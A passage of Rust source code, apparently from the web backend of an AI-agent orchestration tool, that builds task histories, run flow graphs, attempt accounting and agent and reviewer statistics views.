5384 Self::Superseded => "superseded by a later attempt".to_owned(),
5385 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5386 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5387 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5388 Self::NoopHeld => "verified no-op".to_owned(),
5389 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5390 Self::InProgress => "in progress".to_owned(),
5391 }
5392 }
5393
5394 fn explains(self, end: TaskStatus) -> bool {
5397 match self {
5398 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5399 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5400 Self::Unreadable | Self::Superseded | Self::Ready => true,
5401 _ => end != TaskStatus::Done,
5402 }
5403 }
5404}
5405
5406#[derive(Debug, Serialize)]
5408struct TaskDetailView {
5409 #[serde(flatten)]
5410 task: TaskView,
5411 max_attempts: usize,
5414 history: Vec<TaskRunView>,
5415 passes_total: usize,
5418 runs_distinct: usize,
5420 flow: FlowView,
5421 followup_origin: Option<FollowUpOrigin>,
5423 runs_unreadable: usize,
5425 attempts_note: &'static str,
5427}
5428
5429const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5430and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5431on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5432the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5433
5434fn review_branch_of(instruction: &str) -> Option<&str> {
5437 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5438 rest.split('`').next().filter(|b| !b.is_empty())
5439}
5440
5441#[derive(Default)]
5443struct RunSlot<'a> {
5444 n: usize,
5446 resumed: bool,
5448 resumed_later: Option<usize>,
5450 prior: Option<(&'a str, RunStatus)>,
5452 last: bool,
5453 pass: Option<&'a crate::run::RunPass>,
5455 settled: Option<&'a crate::queue::TaskPass>,
5457 pass_n: usize,
5459 passes_of_run: usize,
5460}
5461
5462fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5465 let RunSlot {
5466 n,
5467 resumed,
5468 resumed_later,
5469 prior,
5470 last,
5471 pass,
5472 settled,
5473 pass_n,
5474 passes_of_run,
5475 } = at;
5476 let short = run::short_of(id).to_owned();
5477 let Some(s) = state else {
5478 return TaskRunView {
5479 n,
5480 id: id.to_owned(),
5481 short,
5482 kind: "unknown",
5483 status: None,
5484 readable: false,
5485 provisional: false,
5486 description:
5487 "This run's record could not be read by this build (written by a different \
5488 magi, or removed), so what kind of attempt it was is unknown."
5489 .to_owned(),
5490 outcome: String::new(),
5491 created_at: None,
5492 pr: None,
5493 exit: RunExit::Unreadable,
5494 attempt: AttemptCost::Unknown,
5495 exit_label: RunExit::Unreadable.edge_label(None),
5496 later_pass: resumed_later,
5497 pass_n,
5498 passes_of_run,
5499 pass: None,
5500 branch: None,
5501 badge: None,
5502 };
5503 };
5504 let branch = review_branch_of(&s.instruction);
5505 let kind = if resumed {
5506 "resume"
5507 } else if branch.is_some() {
5508 "review"
5509 } else if task.solo || s.candidates.len() == 1 {
5510 "solo"
5511 } else {
5512 "competition"
5513 };
5514 let mut description = match kind {
5515 "resume" => {
5516 format!("Resumed run {short}: the same run carried on instead of competing again.")
5517 }
5518 "review" => format!(
5519 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5520 branch.unwrap_or_default()
5521 ),
5522 "solo" => "Solo run: one implementer straight into review.".to_owned(),
5523 _ => format!(
5524 "Competition: {} candidates judged blind.",
5525 s.candidates.len().max(1)
5526 ),
5527 };
5528 if !resumed && let Some((p, st)) = prior {
5529 description.push_str(&format!(
5530 " A retry: run {p} before it ended {}.",
5531 st.display_label()
5532 ));
5533 }
5534
5535 let status = s.status;
5536 let provisional = matches!(status, RunStatus::Stalled)
5537 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5538 let head = if resumed_later.is_some() {
5539 String::new()
5540 } else {
5541 match status {
5542 RunStatus::Merged => "Merged.".to_owned(),
5543 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5544 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5545 RunStatus::AlreadyInBase => {
5546 "Already in the base: this change landed under other commits, nothing was left to land."
5547 .to_owned()
5548 }
5549 RunStatus::Stalled => {
5550 "Stalled: the judging panel never reached a quorum, so there is no verdict."
5551 .to_owned()
5552 }
5553 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5554 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5555 RunStatus::VerifiedNoop => {
5556 "Verified no-op: the candidates found nothing to change.".to_owned()
5557 }
5558 other if other.done() => format!("Ended {}.", other.display_label()),
5559 other => format!("In progress ({}).", other.display_label()),
5560 }
5561 };
5562 let view = pass.map(|p| PassView::of(p, settled));
5563 let recorded_end = view
5564 .as_ref()
5565 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5566 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5567 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5568 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5569 None => "whether its attempt was handed back was not recorded",
5570 };
5571 let pass_note = if passes_of_run > 1 {
5572 format!(
5573 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5574 )
5575 } else {
5576 String::new()
5577 };
5578 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5579 let cause = match v.end {
5581 "parked" => format!("It was stopped on purpose: {}.", v.label),
5582 _ => format!("It {}.", v.label),
5583 };
5584 format!(
5585 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5586 capitalise(cost_words)
5587 )
5588 } else if let Some(k) = resumed_later {
5589 let cause = if s.quota.is_empty() {
5596 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5597 } else {
5598 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5599 };
5600 format!(
5601 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5602 )
5603 } else if s.parked {
5604 match recorded_end.and_then(|v| v.cause.as_ref()) {
5605 Some(cause) => format!(
5606 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5607 cause.label(),
5608 cost_words
5609 ),
5610 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5611 .to_owned(),
5612 }
5613 } else if !status.done()
5614 || matches!(
5615 status,
5616 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5617 )
5618 {
5619 String::new()
5620 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5621 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5622 {
5623 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5624 .to_owned()
5625 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5626 " It left a pull request open, so the task was held for a person rather than retried."
5627 .to_owned()
5628 } else if matches!(status, RunStatus::VerifiedNoop) {
5629 " Held for a person to check the claim.".to_owned()
5630 } else if last {
5631 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5632 } else {
5633 " It spent an attempt, and the task moved on to the next run.".to_owned()
5634 };
5635 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5636 let mut attempt = exit.cost();
5637 let mut exit_label = None;
5638 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5639 let spent = match v.cost {
5640 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5641 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5642 None if resumed_later.is_some() => ", refund not recorded",
5643 None => ", attempt refunded",
5644 };
5645 attempt = match v.cost {
5646 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5647 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5648 None if resumed_later.is_some() => AttemptCost::Unknown,
5649 None => attempt,
5650 };
5651 if v.end == "parked" {
5652 exit = RunExit::Parked;
5653 exit_label = Some(match v.cause.as_ref() {
5654 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5655 format!("parked for {}{spent}", c.label())
5656 }
5657 Some(c) => format!("parked ({}){spent}", c.label()),
5658 None => format!("parked{spent}"),
5659 });
5660 } else {
5661 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5662 }
5663 }
5664 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5665 TaskRunView {
5666 n,
5667 id: id.to_owned(),
5668 short,
5669 kind,
5670 status: Some(status.as_str()),
5671 readable: true,
5672 provisional,
5673 description,
5674 outcome: format!("{head}{why}"),
5675 created_at: Some(s.created_at),
5676 pr: s.pr.as_ref().map(|p| p.url.clone()),
5677 exit,
5678 attempt,
5679 exit_label,
5680 later_pass: resumed_later,
5681 pass_n,
5682 passes_of_run,
5683 pass: view,
5684 branch: branch.map(str::to_owned),
5685 badge: None,
5686 }
5687}
5688
5689fn capitalise(s: &str) -> String {
5690 let mut c = s.chars();
5691 c.next().map_or_else(String::new, |f| {
5692 f.to_uppercase().collect::<String>() + c.as_str()
5693 })
5694}
5695
5696#[derive(Debug, Serialize, PartialEq)]
5698struct FlowNode {
5699 key: String,
5701 kind: &'static str,
5703 label: String,
5704 status: Option<&'static str>,
5707 status_of: &'static str,
5710 note: Option<&'static str>,
5712 run_kind: Option<&'static str>,
5713 detail: Option<String>,
5714 decided: bool,
5716 readable: bool,
5717 href: Option<String>,
5718 badge: Option<String>,
5720 started_at: Option<Timestamp>,
5722 time_expected: bool,
5724}
5725
5726#[derive(Debug, Serialize, PartialEq)]
5727struct FlowEdge {
5728 from: String,
5729 to: String,
5730 label: String,
5731 attempt: AttemptCost,
5732}
5733
5734#[derive(Debug, Serialize, PartialEq)]
5735struct FlowView {
5736 nodes: Vec<FlowNode>,
5737 edges: Vec<FlowEdge>,
5738 attempts: usize,
5740 max_attempts: usize,
5741 passes: usize,
5744 runs: usize,
5745}
5746
5747fn task_flow(
5756 task: &Task,
5757 history: &[TaskRunView],
5758 max_attempts: usize,
5759 origin: Option<&FollowUpOrigin>,
5760) -> FlowView {
5761 let max_attempts = task.effective_attempt_limit(max_attempts);
5762 let node = |key: &str, kind, label: String| FlowNode {
5763 key: key.to_owned(),
5764 kind,
5765 label,
5766 status: None,
5767 status_of: "run",
5768 note: None,
5769 run_kind: None,
5770 detail: None,
5771 decided: false,
5772 readable: true,
5773 href: None,
5774 badge: None,
5775 started_at: None,
5776 time_expected: matches!(kind, "start" | "run" | "end"),
5777 };
5778 let mut nodes = Vec::new();
5779 let mut edges: Vec<FlowEdge> = Vec::new();
5780 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5782 let mut n = node(
5783 "chat",
5784 "chat",
5785 format!("Chat {}", crate::queue::short(&link.id)),
5786 );
5787 n.href = Some(link.href);
5788 nodes.push(n);
5789 edges.push(FlowEdge {
5790 from: "chat".to_owned(),
5791 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5792 label: "queued from chat".to_owned(),
5793 attempt: AttemptCost::None,
5794 });
5795 }
5796 if let Some(o) = origin {
5797 let mut n = match &o.parent {
5798 Some(p) => {
5799 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5800 n.status = Some(p.status);
5801 n.status_of = "task";
5802 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5803 n.href = Some(p.href.clone());
5804 n
5805 }
5806 None => {
5807 let mut n = node(
5808 "origin",
5809 "followup",
5810 format!("Follow-up of run {}", o.run.short),
5811 );
5812 n.detail = Some("merged run".to_owned());
5813 n.status = o.run.status;
5814 n.href = o.run.href.clone();
5815 if o.run.href.is_none() {
5816 n.readable = false;
5817 n.note = Some("unreadable");
5818 }
5819 n
5820 }
5821 };
5822 n.decided = true;
5823 let from = n.key.clone();
5824 nodes.push(n);
5825 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5826 let more = o.findings.len().saturating_sub(shown.len());
5827 let label = match (shown.is_empty(), more) {
5828 (true, _) => "open findings".to_owned(),
5829 (false, 0) => format!("open findings {}", shown.join(", ")),
5830 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5831 };
5832 edges.push(FlowEdge {
5833 from,
5834 to: "start".to_owned(),
5835 label,
5836 attempt: AttemptCost::None,
5837 });
5838 }
5839 let mut start = node("start", "start", "Task queued".to_owned());
5840 start.started_at = Some(task.created_at);
5841 nodes.push(start);
5842 let mut prev = "start".to_owned();
5843 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5844 for (i, h) in history.iter().enumerate() {
5845 let key = format!("run-{}", h.n);
5846 let mut n = node(&key, "run", format!("Run {}", h.short));
5847 n.started_at = h
5850 .readable
5851 .then(|| {
5852 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5853 h.created_at
5854 } else {
5855 None
5856 })
5857 })
5858 .flatten();
5859 n.run_kind = Some(h.kind);
5860 n.readable = h.readable;
5861 n.href = Some(format!("#/runs/{}", h.id));
5862 n.decided = h.readable && !h.provisional;
5863 n.detail = h
5864 .branch
5865 .as_ref()
5866 .map(|b| format!("review-only run of branch {b}"));
5867 match h.exit {
5868 RunExit::Unreadable => n.note = Some("unreadable"),
5869 RunExit::Interrupted => n.note = Some("interrupted"),
5870 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5873 _ => {
5874 n.status = h.status;
5875 n.badge = h.badge.clone();
5876 if h.provisional {
5877 n.note = Some("no verdict");
5878 }
5879 }
5880 }
5881 let into = match h.kind {
5882 "review" => Some(format!(
5883 "review-only run of branch {}",
5884 h.branch.as_deref().unwrap_or("?")
5885 )),
5886 "resume" => Some("resume the same run".to_owned()),
5887 _ if i > 0 => Some("retry".to_owned()),
5888 _ => None,
5889 };
5890 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5891 let label = match (prev_exit, into) {
5892 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5893 (Some((_, l, _)), None) => l,
5894 (None, Some(i)) => i,
5895 (None, None) => "claimed".to_owned(),
5896 };
5897 edges.push(FlowEdge {
5898 from: prev.clone(),
5899 to: key.clone(),
5900 label,
5901 attempt,
5902 });
5903 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5904 prev = key;
5905 nodes.push(n);
5906 }
5907 let mut end = node("end", "end", task.status.as_str().to_owned());
5908 end.status = Some(task.status.as_str());
5909 end.status_of = "task";
5910 if task.status == TaskStatus::Held {
5913 end.started_at = task.held_at;
5914 }
5915 nodes.push(end);
5916 let (label, attempt) = match prev_exit {
5917 None => (
5918 format!("no run yet \u{2192} {}", task.status.as_str()),
5919 AttemptCost::None,
5920 ),
5921 Some((e, l, cost)) if e.explains(task.status) => {
5922 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5923 }
5924 Some((_, _, cost)) => (
5925 format!("closed by hand: task is {}", task.status.as_str()),
5926 cost,
5927 ),
5928 };
5929 edges.push(FlowEdge {
5930 from: prev,
5931 to: "end".to_owned(),
5932 label,
5933 attempt,
5934 });
5935 FlowView {
5936 nodes,
5937 edges,
5938 attempts: task.attempts,
5939 max_attempts,
5940 passes: history.len(),
5941 runs: distinct_runs(&task.runs),
5942 }
5943}
5944
5945fn distinct_runs(runs: &[String]) -> usize {
5947 let mut seen: Vec<&str> = Vec::new();
5948 for r in runs {
5949 if !seen.contains(&r.as_str()) {
5950 seen.push(r);
5951 }
5952 }
5953 seen.len()
5954}
5955
5956fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5958 let mut slots = Vec::new();
5959 let mut seen = Vec::new();
5960 for run_id in &task.runs {
5961 if seen.contains(&run_id) {
5962 continue;
5963 }
5964 seen.push(run_id);
5965 let state = read(run_id);
5966 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5967 s.passes
5968 .iter()
5969 .filter(|p| {
5970 p.task_entry
5971 || task
5972 .passes
5973 .iter()
5974 .any(|t| t.run == *run_id && t.pass_index == p.index)
5975 })
5976 .cloned()
5977 .collect()
5978 });
5979 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5980 let total = legacy_count.max(mine.len());
5981 let offset = total - mine.len();
5982 for k in 0..total {
5983 let position = task
5986 .runs
5987 .iter()
5988 .enumerate()
5989 .filter(|(_, r)| *r == run_id)
5990 .nth(k.min(legacy_count - 1))
5991 .unwrap()
5992 .0;
5993 slots.push((
5994 run_id,
5995 state.clone(),
5996 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5997 position,
5998 ));
5999 }
6000 }
6001 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6002 slots.sort_by_key(|(_, state, pass, _)| {
6003 pass.as_ref()
6004 .map(|p| p.started_at)
6005 .or_else(|| state.as_ref().map(|s| s.created_at))
6006 .map_or((true, task.created_at), |at| (false, at))
6007 });
6008 } else {
6009 slots.sort_by_key(|(_, _, _, position)| *position);
6010 }
6011 let mut history = Vec::with_capacity(slots.len());
6012 let mut seen: Vec<&str> = Vec::new();
6013 let mut prior: Option<(&str, RunStatus)> = None;
6014 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6015 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6016 let resumed = k > 0;
6017 seen.push(run_id);
6018 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6019 let pass = pass.as_ref();
6020 let settled = pass.and_then(|p| {
6021 task.passes
6022 .iter()
6023 .find(|t| t.run == **run_id && t.pass_index == p.index)
6024 });
6025 history.push(task_run_view(
6026 run_id,
6027 state.as_ref(),
6028 RunSlot {
6029 n: i + 1,
6030 resumed,
6031 resumed_later: slots[i + 1..]
6032 .iter()
6033 .position(|(id, _, _, _)| id == run_id)
6034 .map(|off| i + off + 2),
6035 prior,
6036 last: i + 1 == slots.len(),
6037 pass,
6038 settled,
6039 pass_n: k + 1,
6040 passes_of_run: total,
6041 },
6042 task,
6043 ));
6044 if let Some(s) = &state {
6045 prior = Some((run::short_of(run_id), s.status));
6046 }
6047 }
6048 history
6049}
6050
6051fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6054 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6055 return;
6056 }
6057 let (_, claimed, _) = run_row_inputs(ui);
6058 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6059 for h in history
6060 .iter_mut()
6061 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6062 {
6063 let Ok(state) = read_run(&ui.runs, &h.id) else {
6064 continue;
6065 };
6066 if state.status.done() {
6067 continue;
6068 }
6069 let live = state.liveness_with(
6070 claimed.contains(&h.id),
6071 |p| probe.borrow_mut().status(p),
6072 |p| probe.borrow_mut().started_at(p),
6073 );
6074 let waiting = !ui.questions.open_for(&h.id).is_empty();
6075 let display = run_display_status(&state, waiting, live);
6076 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6077 if matches!(word.as_str(), "stale" | "superseded")
6078 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6079 {
6080 h.badge = Some(word);
6081 }
6082 }
6083}
6084
6085async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6086 blocking(move || {
6087 let id = resolve_task(&ui.queue, &id)?;
6088 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6089 })
6090 .await
6091}
6092
6093async fn task_detail(
6094 State(ui): State<Arc<Ui>>,
6095 Path(id): Path<String>,
6096) -> ApiResult<Json<TaskDetailView>> {
6097 blocking(move || {
6098 let id = resolve_task(&ui.queue, &id)?;
6099 let task = ui
6100 .queue
6101 .get(&id)
6102 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6103 let inv = if task.status == TaskStatus::Blocked {
6104 Some(crate::blockers::Inventory::load_for(
6105 &ui.queue,
6106 &ui.questions,
6107 &task,
6108 ))
6109 } else {
6110 None
6111 };
6112 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6113 mark_badges(&ui, &task, &mut history);
6114 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6115 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6116 let origin = task.followup.as_ref().map(|fu| {
6117 followup_origin(
6118 fu,
6119 |tid| ui.queue.get(tid).ok(),
6120 |rid| read_run(&ui.runs, rid).ok(),
6121 )
6122 });
6123 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6124 let task_view = match inv.as_ref() {
6125 Some(inv) => TaskView::with_inventory(task, inv),
6126 None => TaskView::from(task),
6127 };
6128 Ok(Json(TaskDetailView {
6129 max_attempts,
6130 flow,
6131 followup_origin: origin,
6132 passes_total: history.len(),
6133 runs_distinct: distinct_runs(&task_view.task.runs),
6134 history,
6135 runs_unreadable,
6136 attempts_note: ATTEMPTS_NOTE,
6137 task: task_view,
6138 }))
6139 })
6140 .await
6141}
6142
6143#[derive(Debug, Serialize)]
6147struct RateView {
6148 pct: f64,
6149 denominator: usize,
6150}
6151
6152impl RateView {
6153 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6154 (denominator > 0).then(|| Self {
6155 pct: 100.0 * numerator as f64 / denominator as f64,
6156 denominator,
6157 })
6158 }
6159}
6160
6161#[derive(Debug, Serialize)]
6166struct StatsTotalsView {
6167 runs: usize,
6168 merged: usize,
6169 ready: usize,
6170 blocked: usize,
6171 failed: usize,
6172 stalled: usize,
6173 verified_noop: usize,
6174 superseded: usize,
6175 in_progress: usize,
6176 completion_rate: Option<RateView>,
6177 tallied: usize,
6178 split: usize,
6179 split_rate: Option<RateView>,
6180 deliberated: usize,
6181 minds_changed: usize,
6182 converged: usize,
6183 review_rounds: usize,
6184}
6185
6186impl From<&stats::Totals> for StatsTotalsView {
6187 fn from(t: &stats::Totals) -> Self {
6188 Self {
6189 runs: t.runs,
6190 merged: t.merged,
6191 ready: t.ready,
6192 blocked: t.blocked,
6193 failed: t.failed,
6194 stalled: t.stalled,
6195 verified_noop: t.verified_noop,
6196 superseded: t.superseded,
6197 in_progress: t.in_progress,
6198 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6199 tallied: t.tallied,
6200 split: t.split,
6201 split_rate: RateView::of(t.split, t.tallied),
6202 deliberated: t.deliberated,
6203 minds_changed: t.minds_changed,
6204 converged: t.converged,
6205 review_rounds: t.review_rounds,
6206 }
6207 }
6208}
6209
6210#[derive(Debug, Serialize)]
6212struct AgentStatsView {
6213 agent: String,
6214 entered: usize,
6215 wins: usize,
6216 empty: usize,
6217 win_rate: Option<RateView>,
6218 competitive_entered: usize,
6219 competitive_wins: usize,
6220 competitive_win_rate: Option<RateView>,
6221 solo_entered: usize,
6222 solo_adopted: usize,
6223 solo_adoption_rate: Option<RateView>,
6224}
6225
6226impl From<&stats::AgentStats> for AgentStatsView {
6227 fn from(a: &stats::AgentStats) -> Self {
6228 Self {
6229 agent: a.agent.clone(),
6230 entered: a.entered,
6231 wins: a.wins,
6232 empty: a.empty,
6233 win_rate: RateView::of(a.wins, a.entered),
6234 competitive_entered: a.competitive_entered,
6235 competitive_wins: a.competitive_wins,
6236 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6237 solo_entered: a.solo_entered,
6238 solo_adopted: a.solo_adopted,
6239 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6240 }
6241 }
6242}
6243
6244#[derive(Debug, Serialize)]
6248struct ReviewerStatsView {
6249 agent: String,
6250 rounds: usize,
6251 seated: usize,
6252 submitted: usize,
6253 adopted: usize,
6254 unique: usize,
6255 timeouts: usize,
6256 adopted_per_round: Option<f64>,
6257 precision: Option<RateView>,
6258 unique_rate: Option<RateView>,
6259 timeout_rate: Option<RateView>,
6260}
6261
6262impl From<&stats::ReviewerStats> for ReviewerStatsView {
6263 fn from(r: &stats::ReviewerStats) -> Self {
6264 Self {
6265 agent: r.agent.clone(),
6266 rounds: r.rounds,
6267 seated: r.seated,
6268 submitted: r.submitted,
6269 adopted: r.adopted,
6270 unique: r.unique,
6271 timeouts: r.timeouts,
6272 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6273 precision: RateView::of(r.adopted, r.submitted),
6274 unique_rate: RateView::of(r.unique, r.submitted),
6275 timeout_rate: RateView::of(r.timeouts, r.seated),
6276 }
6277 }
6278}
6279
6280#[derive(Debug, Serialize)]
6286struct AdvisorStatsView {
6287 agent: String,
6288 seated: usize,
6289 proposed: usize,
6290 absent: usize,
6291 faint: usize,
6292 strong: usize,
6293 reflection_rate: Option<RateView>,
6294}
6295
6296impl From<&stats::AdvisorStats> for AdvisorStatsView {
6297 fn from(a: &stats::AdvisorStats) -> Self {
6298 Self {
6299 agent: a.agent.clone(),
6300 seated: a.seated,
6301 proposed: a.proposed,
6302 absent: a.absent,
6303 faint: a.faint,
6304 strong: a.strong,
6305 reflection_rate: RateView::of(a.strong, a.proposed),
6306 }
6307 }
6308}
6309
6310#[derive(Debug, Serialize)]
6312struct E2eStatsView {
6313 rounds: usize,
6314 failures: usize,
6315 sole_detections: usize,
6316 deferred: usize,
6317 sole_rate: Option<RateView>,
6318}
6319
6320impl From<&stats::E2eStats> for E2eStatsView {
6321 fn from(e: &stats::E2eStats) -> Self {
6322 Self {
6323 rounds: e.rounds,
6324 failures: e.failures,
6325 sole_detections: e.sole_detections,
6326 deferred: e.deferred,
6327 sole_rate: RateView::of(e.sole_detections, e.failures),
6328 }
6329 }
6330}
6331
6332#[derive(Debug, Serialize)]
6340struct ReleaseBumpStatsView {
6341 merged: usize,
6342 recorded: usize,
6343 pr_opened: usize,
6344 automerge_enabled: usize,
6345 merged_directly: usize,
6346 needs_attention: usize,
6347 clean: usize,
6348 coverage_rate: Option<RateView>,
6349 automerge_rate: Option<RateView>,
6350 attention_rate: Option<RateView>,
6351}
6352
6353impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6354 fn from(b: &stats::ReleaseBumpStats) -> Self {
6355 Self {
6356 merged: b.merged,
6357 recorded: b.recorded,
6358 pr_opened: b.pr_opened,
6359 automerge_enabled: b.automerge_enabled,
6360 merged_directly: b.merged_directly,
6361 needs_attention: b.needs_attention,
6362 clean: b.clean(),
6363 coverage_rate: RateView::of(b.recorded, b.merged),
6364 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6365 attention_rate: RateView::of(b.needs_attention, b.recorded),
6366 }
6367 }
6368}
6369
6370#[derive(Debug, Serialize)]
6372struct TaskCountsView {
6373 queued: usize,
6374 running: usize,
6375 done: usize,
6376 failed: usize,
6377 held: usize,
6378 blocked: usize,
6379 parked: usize,
6380}
6381
6382impl From<crate::queue::TaskCounts> for TaskCountsView {
6383 fn from(c: crate::queue::TaskCounts) -> Self {
6384 Self {
6385 queued: c.queued,
6386 running: c.running,
6387 done: c.done,
6388 failed: c.failed,
6389 held: c.held,
6390 blocked: c.blocked,
6391 parked: c.parked,
6392 }
6393 }
6394}
6395
6396#[derive(Debug, Serialize)]
6402struct RepoSummaryView {
6403 repo: String,
6406 name: String,
6408 runs: usize,
6409 completion_rate: Option<RateView>,
6410}
6411
6412impl From<&stats::RepoStats> for RepoSummaryView {
6413 fn from(r: &stats::RepoStats) -> Self {
6414 let t = &r.stats.totals;
6415 Self {
6416 repo: r.repo.to_string_lossy().into_owned(),
6417 name: r.name.clone(),
6418 runs: t.runs,
6419 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6420 }
6421 }
6422}
6423
6424#[derive(Debug, Serialize)]
6430struct StatsView {
6431 totals: StatsTotalsView,
6432 agents: Vec<AgentStatsView>,
6434 reviewers: Vec<ReviewerStatsView>,
6436 advisors: Vec<AdvisorStatsView>,
6438 e2e: E2eStatsView,
6439 release_bumps: ReleaseBumpStatsView,
6440 queue: Option<TaskCountsView>,
6441 runs_unreadable: usize,
6451 repos: Vec<RepoSummaryView>,
6455 daily: Vec<DailyStatsView>,
6460 repo: Option<String>,
6464 retired_hidden: Vec<String>,
6468}
6469
6470#[derive(Debug, Serialize)]
6472struct DailyStatsView {
6473 date: String,
6475 runs: usize,
6476 merged: usize,
6477 ready: usize,
6478 other: usize,
6479 completion_rate: Option<RateView>,
6481}
6482
6483impl From<&stats::DayBucket> for DailyStatsView {
6484 fn from(b: &stats::DayBucket) -> Self {
6485 Self {
6486 date: b.date.to_string(),
6487 runs: b.runs,
6488 merged: b.merged,
6489 ready: b.ready,
6490 other: b.other,
6491 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6492 }
6493 }
6494}
6495
6496const STATS_DAILY_DAYS: usize = 30;
6498
6499#[derive(Debug, Default, Deserialize)]
6508#[serde(default)]
6509struct StatsQuery {
6510 repo: Option<String>,
6511 all: bool,
6513 runs_only: bool,
6515}
6516
6517async fn stats_get(
6524 State(ui): State<Arc<Ui>>,
6525 Query(q): Query<StatsQuery>,
6526) -> ApiResult<Json<StatsView>> {
6527 blocking(move || {
6528 let states: Vec<RunState> = run_ids(&ui.runs)
6529 .into_iter()
6530 .filter_map(|id| read_run(&ui.runs, &id).ok())
6531 .collect();
6532 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6533 .iter()
6534 .map(RepoSummaryView::from)
6535 .collect();
6536 let mut scoped: Vec<&RunState> = states.iter().collect();
6537 let mut collected = match &q.repo {
6538 Some(repo) => {
6539 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6540 if filtered.is_empty() {
6541 return Err(ApiError::not_found(format!(
6542 "no runs recorded against repo `{repo}`"
